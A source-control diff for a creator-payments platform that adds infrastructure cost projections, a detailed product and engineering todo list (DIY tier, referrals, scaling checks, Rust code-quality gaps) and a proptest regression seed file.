| 90 | + | | Stage | Creators | Compute | Storage | CDN | Email | Backups offsite | **Total infra/mo** | **Revenue/mo** | **Infra as % of rev** | | |
| 91 | + | |---|---|---|---|---|---|---|---|---|---| | |
| 92 | + | | Today | ~10 | $15 | $7 (1 TB) | $0 | $15 | $0 (astra) | **~$37** | ~$190 | ~19% | | |
| 93 | + | | 100 | 100 | $15 | $20 (~3 TB) | $0 | $15 | $5 | **~$55** | ~$1,900 | ~3% | | |
| 94 | + | | 1k | 1,000 | $30 (CCX23) | $200 (~30 TB) | $0 | $80 | $30 (B2/offsite) | **~$340** | ~$19,000 | ~1.8% | | |
| 95 | + | | 10k | 10,000 | $300 (3× CCX33: app, MT, PG) | $2,000 (~300 TB) | $50 (Cache Reserve) | $800 | $300 | **~$3,450** | ~$190,000 | ~1.8% | | |
| 96 | + | | 100k | 100,000 | $2,400 (~10–15 VMs + LB + replicas) | $20,000 (~3 PB) | $500 | $5,000 | $3,000 | **~$30,900** | ~$1,900,000 | ~1.6% | | |
| 97 | + | ||
| 98 | + | ### Things That Change the Math | |
| 99 | + | ||
| 100 | + | - **CDN cache hit ratio.** At 30% hit ratio, object storage egress dominates beyond 10k creators (could double the storage line). At 90%+ hit ratio (achievable with immutable content-addressed keys), the storage egress line stays near-zero. The single biggest cost lever in the table. | |
| 101 | + | - **Storage fill rate.** "20% of cap" is a guess. If creators actually fill tiers, storage at 10k creators is closer to $10k/mo (~1.5 PB), not $2k. Watch this once real creators are on. | |
| 102 | + | - **Egress to non-CF paths.** Custom domains bypass Cloudflare; downloads via custom domains hit Hetzner's 20 TB cap quickly at scale. Force downloads through `cdn.makenot.work` regardless of profile-page hostname. | |
| 103 | + | - **Backup storage offsite.** If using B2 + Bandwidth Alliance, restore egress is free to CF — important if astra is the offsite site of record. | |
| 104 | + | - **Stripe fees are pass-through.** They do not show up in the table because creators pay them, not the platform. But at 100k creators × $19 ARPU, Stripe processes ~$23M/yr through Connect; any per-transaction platform-side fee (Tax, Radar, Identity) materially changes the math. | |
| 105 | + | - **Labor is the actual cost.** Even at 10k creators, infra is ~$3.5k/mo. One contractor for ops/support is 3–5× that. The constraint is not the bill from Hetzner. | |
| 106 | + | ||
| 107 | + | ### Margin Read | |
| 108 | + | ||
| 109 | + | At every stage past ~100 creators, infrastructure is well under 5% of revenue. The platform is structurally cheap to operate because Cloudflare absorbs the read fan-out for free and Postgres + Caddy on a Hetzner box scales further than people expect. The economic risks are: | |
| 110 | + | ||
| 111 | + | 1. Stripe fees being raised by Stripe (out of our control). | |
| 112 | + | 2. Cache hit ratio collapsing (controllable; track it). | |
| 113 | + | 3. Hidden labor cost of support per creator (controllable via DIY tier guardrails — see `todo.md` DIY section). | |
| 114 | + | ||
| 115 | + | The 0% platform fee model holds at every projected stage. The bottleneck is creator acquisition and support load, not infrastructure unit economics. | |
| 116 | + |
| @@ -36,6 +36,86 @@ Priority order. See `human_todo.md` for the full manual testing feature map. | |||
| 36 | 36 | ||
| 37 | 37 | --- | |
| 38 | 38 | ||
| 39 | + | ## DIY Tier (Post-Launch, exploratory) | |
| 40 | + | ||
| 41 | + | Ko-fi-style cheap tier: **$12/yr**, embeds + Stripe Connect only. No file hosting, no profile, no discovery, no mobile, no themes. Positioned as creator-acquisition wedge; modeled at break-even (~$0.10/yr infra, ~$11.24/yr support+margin budget). Tier viability requires ≥95% of DIY creators never contact support — every item below is in service of that constraint. | |
| 42 | + | ||
| 43 | + | **Strategic guardrails** (apply to all DIY work): | |
| 44 | + | - DIY is feature-frozen at launch scope. No DIY-specific feature additions; upgrades come from natural growth into Basic+. | |
| 45 | + | - DIY support is community-first, best-effort email, no SLA. Documented on pricing page and in ToS. | |
| 46 | + | - Bug triage: DIY issues fixed in normal cadence, after Basic+ issues. Written rule. | |
| 47 | + | - Cap signups (e.g. 5,000) or raise price if DIY consumes disproportionate attention. | |
| 48 | + | ||
| 49 | + | ### Schema / billing | |
| 50 | + | - [ ] **Migration: DIY tier in `creator_tiers`** — add tier row, env var `CREATOR_TIER_DIY_PRICE_ID`, annual-only Stripe price. | |
| 51 | + | - [ ] **Annual-only billing enforcement** — DIY checkout rejects monthly cadence (monthly Stripe fees would eat 36% of $1/mo revenue). | |
| 52 | + | - [ ] **Tier capability gate** — single source of truth: DIY excludes file uploads, project pages, profile pages, discovery listing, mobile API, themes. Audit every feature route for tier check. | |
| 53 | + | - [ ] **One-click upgrade path** — DIY → Basic upgrade preserves Stripe Connect account, member list, embed code. Prorate annual remainder as credit. | |
| 54 | + | ||
| 55 | + | ### Embed surface (the actual DIY product) | |
| 56 | + | - [ ] **Embeddable JS widgets**: donate button, membership button, item-buy button. Served from `static/embed/v1.js`, cached at edge, structured error codes logged to console with doc links. | |
| 57 | + | - [ ] **Embed code generator** in dashboard — paste-ready `<script>` snippet per widget, with site-domain pinning (CSP-friendly). | |
| 58 | + | - [ ] **Hosted checkout/portal pages** — minimal-chrome MNW-hosted pages for purchase + member self-service. No profile branding; creator's brand only. | |
| 59 | + | - [ ] **CSV member export** — DIY users self-serve their member list. No support tickets for "give me my members." | |
| 60 | + | ||
| 61 | + | ### Self-serve primitives (load-bearing for the support model) | |
| 62 | + | - [ ] **Per-creator status dashboard** — onboarding %, Stripe Connect health, last 20 webhook events with delivery status, embed test results. Replaces ~50% of predicted tickets. | |
| 63 | + | - [ ] **Embed tester page** — creator pastes their site URL, we iframe-load it and report: CSP blocking, missing script tag, wrong domain pin, ad-blocker fingerprint. | |
| 64 | + | - [ ] **"Resync from Stripe" button** — pulls latest Connect state + member state from Stripe API. Fixes ~90% of "customer paid but didn't get access" tickets without human involvement. | |
| 65 | + | - [ ] **Stripe Connect pre-flight country check** — gate signup behind supported-country check, fail fast before account creation. Kills the largest predicted ticket category. | |
| 66 | + | - [ ] **In-dashboard onboarding state machine** — show exactly which Stripe step is incomplete, deep-link to the right Stripe page per step. | |
| 67 | + | - [ ] **Self-serve account recovery** — Stripe email = identity. If they prove control of their Connect account, account recovery is no-touch. Document the security tradeoff in DIY-specific ToS section. | |
| 68 | + | - [ ] **Error-code-indexed docs** — every embed/webhook/dashboard error gets a stable code; each code has a doc page with fix steps + "still stuck? post in forum" CTA. | |
| 69 | + | - [ ] **Webhook delivery dashboard per creator** — surfaced last N Stripe webhook events with delivery + handler status. Pre-empts "did my webhook fire?" tickets. | |
| 70 | + | ||
| 71 | + | ### Support batching infrastructure | |
| 72 | + | - [ ] **Community forum** — DIY support primary channel. First-responder recognition program (free tier upgrades / store credit for top contributors). | |
| 73 | + | - [ ] **Weekly office hours** — 1 hour/week public drop-in (Zoom or async thread). Batches scattered tickets into one synchronous slot. | |
| 74 | + | - [ ] **Annual renewal check-in email** — surfaces "anything broken?" once a year, in batches, instead of randomly throughout the year. | |
| 75 | + | - [ ] **Canned-response library** — `payments/refunds → Stripe dashboard link`, `1099/tax → Stripe docs link`, `feature requests → roadmap`. One canonical answer per category. | |
| 76 | + | ||
| 77 | + | ### Abuse / floor protection | |
| 78 | + | - [ ] **Signup rate limits + Stripe Radar tuning** — $12 is low enough that spam-embed abuse is viable. Bot-floor before launch. | |
| 79 | + | - [ ] **Domain pinning on embeds** — embed `<script>` only runs on creator-registered domains. Limits resale/abuse. | |
| 80 | + | ||
| 81 | + | ### Marketing / conversion | |
| 82 | + | - [ ] **"Powered by MNW" attribution on embeds** — on by default (creator-opt-out). Every DIY embed becomes a brand surface. | |
| 83 | + | - [ ] **Upgrade nudges at growth thresholds** — when DIY creator hits "now I want files / a profile / mobile," show in-context upgrade prompt with one-click migration. | |
| 84 | + | - [ ] **Conversion tracking** — instrument DIY → Basic+ conversion explicitly. Target ≥3%/yr after first 12 months; below 2%/yr means revisit pricing or scope. | |
| 85 | + | ||
| 86 | + | ### Capacity model assumptions (track these post-launch) | |
| 87 | + | - ≥95% of DIY creators never contact support → re-examine if touch rate exceeds 5%. | |
| 88 | + | - ~13 min/yr of human support budget per creator at break-even. | |
| 89 | + | - Infra marginal cost ~$0.10/yr (Postgres rows, embed JS egress on Hetzner included bandwidth, Stripe Connect Standard/Express has no per-account fee). | |
| 90 | + | - Stripe fee on $12 annual charge: ~$0.66. Net revenue: $11.34/yr. | |
| 91 | + | ||
| 92 | + | --- | |
| 93 | + | ||
| 94 | + | ## Small Creator On-Ramp (full plan: `plans/small-creator-onramp.md`) | |
| 95 | + | ||
| 96 | + | Mechanisms to bring sub-floor creators onto the platform without lowering sticker prices. Sequenced by readiness; DIY tier already has its own section below. | |
| 97 | + | ||
| 98 | + | - [ ] **Creator-to-creator referrals.** Unique referral link per creator. Referred creator pays normal price (optional small welcome credit ~$2). Referrer gets ~30% of one month of the *referred* creator's tier as credit per successful referral (Basic referral → $3, Big Files → $9, Everything → $18). Core invariant: referrer credit + welcome credit must be strictly less than one month of subscription — self-dealing is then a net loss by construction, not by detection. Activity gate (30 days + Stripe + 1 item/sale) is secondary defense. Credit is non-cashable, applies to future invoices only. Target: at or near public launch. | |
| 99 | + | - [ ] **Charter creator pricing lock.** First N creators (target 500–1,000, or time-bounded launch window) lock current pricing forever. Mostly a positioning move; light engineering. Pick N and announce close date before launch. | |
| 100 | + | - [ ] **Earnings-funded subscription.** Creator's first $X/mo of earnings auto-credits subscription before payout. Below floor: no payout, no charge. Above floor: normal payout. Pair with earn-back credit program (committed 2027-01-01). Most complex; ship after DIY proves out and we have real earnings-distribution data. | |
| 101 | + | ||
| 102 | + | --- | |
| 103 | + | ||
| 104 | + | ## Infra / Scaling (from 2026-05-14 audit — full doc: `scaling.md`) | |
| 105 | + | ||
| 106 | + | Pre-1k-creator items. These are the cheap wins to land before scale forces them. Ordered by cost-impact-if-ignored. | |
| 107 | + | ||
| 108 | + | - [ ] **Verify CDN coverage of paid downloads.** Grep `routes/storage/` and `routes/api/...` for download paths and confirm presigned URLs route through `cdn.makenot.work`, not direct `fsn1.your-objectstorage.com`. Direct fetches skip Cloudflare cache and put egress on Hetzner — biggest hidden cost lever at scale. | |
| 109 | + | - [ ] **Confirm `Cache-Control` on S3 uploads.** Storage backend should set `Cache-Control: public, max-age=31536000, immutable` on PUT (content-addressed keys make this safe). Without this, Cloudflare won't cache and the CDN line in the economic model collapses. | |
| 110 | + | - [ ] **PoM alert on `pg_stat_activity` saturation.** MNW pool (25) + MT pool share one Postgres. Add a probe + alert before connection exhaustion is the first signal. | |
| 111 | + | - [ ] **Rate limit + concurrency cap on `/api/domains/caddy-ask`.** ACME issuance-abuse target at scale. Confirm tower-governor tier covers it and cap concurrent in-flight asks. | |
| 112 | + | - [ ] **Document the Tailscale break-glass SSH path.** Admin :2200 is tailnet-only; if Tailscale control plane is down, public :22 is mnw-cli only. Add a runbook step to `deploy/SSH_ACCESS.md` for this scenario. Cross-reference memory rule on never disabling Tailscale SSH without fallback. | |
| 113 | + | - [ ] **Audit `sync-backup-offsite.sh` destination.** Confirm what "offsite" means today (astra is on same tailnet, same vendor risk). Add a true third-location offsite (Backblaze B2 with Bandwidth Alliance) before crossing ~1k creators. | |
| 114 | + | - [ ] **Weekly review: Cloudflare cache hit ratio.** Add to whatever weekly metrics flow exists. If ratio drops below ~80%, treat as a cost incident — every percentage point of miss directly costs Hetzner egress. | |
| 115 | + | - [ ] **Track real storage fill vs. tier cap.** The economic projection assumes ~20% fill; if real fill is closer to 60%, storage line is 3× the projection at every stage. Add a `pom` or admin-dashboard metric. | |
| 116 | + | ||
| 117 | + | --- | |
| 118 | + | ||
| 39 | 119 | ## Upload Improvements (Post-Launch) | |
| 40 | 120 | ||
| 41 | 121 | - [ ] **Background uploads**: allow navigating away from the Files tab during upload. Track upload state server-side (pending_uploads table exists). Show upload status in a persistent UI element (toast or header badge) so video/large-file creators aren't stuck on the page. | |
| @@ -132,6 +212,33 @@ Remaining open items from Runs 21-24 and Code Fuzz (2026-05-08). All SERIOUS ite | |||
| 132 | 212 | ||
| 133 | 213 | --- | |
| 134 | 214 | ||
| 215 | + | ## Code Assessment Blind Spots (2026-05-14) | |
| 216 | + | ||
| 217 | + | From rust-code-assessment review. These are gaps the codebase suggests the developer hasn't explored, not defects — capture for future consideration, not urgent. | |
| 218 | + | ||
| 219 | + | ### Async traits | |
| 220 | + | - [ ] **`async-trait` everywhere is dated.** `PaymentProvider` (`payments/mod.rs:60`) and `StorageBackend` (`storage.rs:175`) both use `#[async_trait]`. Rust 1.75+ supports native `async fn` in traits; only `dyn`-dispatched methods still need the macro. Audit which methods are actually called through `Arc<dyn …>` vs. monomorphised — narrow `async-trait` to the dyn sites, drop the heap allocation from the rest. | |
| 221 | + | ||
| 222 | + | ### Observability | |
| 223 | + | - [ ] **`#[tracing::instrument]` cardinality review.** Sample showed structured logging but no explicit `skip_all` defaults or field-cardinality discipline. At ~92K LOC the index cost matters. Sweep instrumented functions, default to `skip_all` + explicit fields, audit anything emitting per-request unique IDs as log fields. | |
| 224 | + | ||
| 225 | + | ### Mutation testing | |
| 226 | + | - [ ] **No mutation score for MNW server.** pter measured 70.2% on 2026-05-14 (per `_meta/remediation_todo.md` § C1); MNW server has never been measured. Test count (1,935) is not the same as test quality. Run `cargo-mutants` on a representative module (start with `validation/` or `payments/`), record baseline, prioritise survivors. | |
| 227 | + | ||
| 228 | + | ### Proc macros | |
| 229 | + | - [ ] **`define_pg_uuid_id!` / `impl_str_enum!` would benefit from being proc-macros.** Declarative macros work but give poor diagnostics on misuse, no IDE go-to-definition for generated impls, and no doc comments on derived items. At 25+ uses each, a small `mnw-derive` proc-macro crate would pay back. Defer until a third macro joins the pile. | |
| 230 | + | ||
| 231 | + | ### Benchmarks | |
| 232 | + | - [ ] **No `benches/` directory.** `tests/load/` covers end-to-end throughput but there are no micro-benchmarks for hot paths (validation, template rendering, markdown rendering via docengine, tag parsing). For a project whose pitch is cheaper-at-scale, this is a real gap. Start with `criterion` benches on `validation/` and the discover-page query path. | |
| 233 | + | ||
| 234 | + | ### Typestate opportunities | |
| 235 | + | - [ ] **Stripe checkout and upload flows are typestate candidates.** Both have linear state machines currently encoded as enum status fields with runtime branching. Encoding state as a type parameter (`Checkout<Draft>` → `Checkout<SessionCreated>` → `Checkout<Paid>` → `Checkout<Fulfilled>`) would replace some `match status` blocks with compile-time guarantees. Not urgent; consider when next touching these paths. | |
| 236 | + | ||
| 237 | + | ### Allocation pressure | |
| 238 | + | - [ ] **String-heavy data flow on hot paths.** 515 `.clone()` calls is fine in absolute terms, but a notable share are `String` clones in template/branch contexts on routes like Discover and feeds. Once benchmarks exist (above), measure whether `Arc<str>` for repeated fields (tags, slugs, display names) or `&'a str` with explicit lifetimes would cut allocation. Don't refactor speculatively — measure first. | |
| 239 | + | ||
| 240 | + | --- | |
| 241 | + | ||
| 135 | 242 | ## Backlog (no sprint assigned) | |
| 136 | 243 | ||
| 137 | 244 | ### Promo Codes — Nice to Have | |
| @@ -161,6 +268,13 @@ Generic mechanism so any "Log in with MNW" implementer (MT first, future service | |||
| 161 | 268 | - [x] Workflow tests: default user, creator tier, fan_plus, unauthorized | |
| 162 | 269 | - [x] `docs/oauth_integration.md` — flow, perks contract, refresh ergonomics, stability rules | |
| 163 | 270 | ||
| 271 | + | ### Fan+ self-service (Done) | |
| 272 | + | - [x] Migration 114: `cancel_at_period_end` column on `fan_plus_subscriptions` | |
| 273 | + | - [x] `POST /stripe/fan-plus/cancel` + `POST /stripe/fan-plus/resume` — set `cancel_at_period_end` via Stripe API + DB | |
| 274 | + | - [x] `POST /stripe/billing-portal` — Stripe Customer Portal session for payment-method updates and invoice history. Customer Portal must be configured in the Stripe dashboard for production use. | |
| 275 | + | - [x] `customer.subscription.updated` webhook syncs `cancel_at_period_end` so portal-initiated cancellations flow back to the DB | |
| 276 | + | - [x] Compact Fan+ pane in dashboard account tab: status + period end + Cancel/Resume/Manage billing buttons (intentionally not pushy — non-subscribers see a one-line "Learn about Fan+" link, no upsell) | |
| 277 | + | ||
| 164 | 278 | ### Global UX | |
| 165 | 279 | - [ ] Find a better place for the keyboard shortcuts help button (removed from header nav) | |
| 166 | 280 | - [ ] Add toast stacking for multiple notifications |
| @@ -0,0 +1,7 @@ | |||
| 1 | + | # Seeds for failure cases proptest has generated in the past. It is | |
| 2 | + | # automatically read and these particular cases re-run before any | |
| 3 | + | # novel cases are generated. | |
| 4 | + | # | |
| 5 | + | # It is recommended to check this file in to source control so that | |
| 6 | + | # everyone who runs the test benefits from these saved cases. | |
| 7 | + | cc babcb194c6ee66ac78b7cf0a8d0c8819d4d6b65b36c96317467aeb4363f9adfd # shrinks to s = "--" |